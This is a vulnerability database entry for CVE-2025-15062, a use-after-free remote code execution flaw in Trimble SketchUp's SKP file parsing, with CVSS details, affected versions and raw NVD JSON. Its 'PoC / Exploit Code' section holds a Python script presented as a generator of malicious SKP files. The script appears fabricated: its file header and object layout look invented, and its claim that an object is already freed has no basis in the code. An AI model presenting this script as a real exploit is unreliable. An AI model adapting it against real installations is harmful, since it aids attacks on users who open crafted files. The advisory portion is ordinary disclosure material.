Security Vulnerability Report
中文
CVE-2025-15062 CVSS 7.8 HIGH

CVE-2025-15062

Published: 2026-01-23 04:16:01
Last Modified: 2026-04-15 00:35:42

Description

Trimble SketchUp SKP File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Trimble SketchUp. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of SKP files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27769.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Trimble SketchUp < 2024.0
Trimble SketchUp 2024.0
Trimble SketchUp 2024.1
Trimble SketchUp 2024.2
Trimble SketchUp 2025.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15062 PoC - Malicious SKP File Generator # This PoC demonstrates the structure of a malicious SKP file that could trigger # the Use-After-Free vulnerability in Trimble SketchUp's file parser # NOTE: This is for educational/research purposes only import struct import os def create_malicious_skp(output_path): """ Generate a PoC SKP file that triggers Use-After-Free in SketchUp The vulnerability exists due to lack of object existence validation before performing operations on objects during SKP file parsing. """ # SKP file header structure skp_header = b'SKP' # Magic bytes skp_header += struct.pack('<I', 0x00000001) # Version skp_header += struct.pack('<I', 0x00000010) # Flags # Create object references that will trigger UAF # The vulnerability occurs when objects are accessed after being freed objects = [] # Object type 0x01: Triggering object (will be freed) obj1 = struct.pack('<I', 0x01) # Object type obj1 += struct.pack('<I', 0x100) # Object size obj1 += b'\x41' * 0xF8 # Padding objects.append(obj1) # Object type 0x02: Reference to freed object # This triggers the UAF condition when parser accesses freed memory obj2 = struct.pack('<I', 0x02) # Object type obj2 += struct.pack('<I', 0x50) # Object size obj2 += struct.pack('<I', 0x01) # Reference to obj1 (already freed) obj2 += b'\x42' * 0x40 # Padding objects.append(obj2) # Object count obj_count = struct.pack('<I', len(objects)) # Write malicious SKP file with open(output_path, 'wb') as f: f.write(skp_header) f.write(obj_count) for obj in objects: f.write(obj) print(f"[+] Malicious SKP file created: {output_path}") print(f"[!] This file may trigger CVE-2025-15062 in vulnerable SketchUp versions") if __name__ == '__main__': output_file = 'CVE-2025-15062_poc.skp' create_malicious_skp(output_file) print("\n[*] Note: Actual exploitation requires specific memory conditions") print("[*] Use with caution and only in authorized testing environments")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15062", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:01.033", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Trimble SketchUp SKP File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Trimble SketchUp. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SKP files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27769."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por uso después de liberación en el análisis de archivos SKP de Trimble SketchUp. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de Trimble SketchUp. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe dentro del análisis de archivos SKP. El problema resulta de la falta de validación de la existencia de un objeto antes de realizar operaciones en el objeto. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del proceso actual. Fue ZDI-CAN-27769."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1198/", "source": "[email protected]"}]}}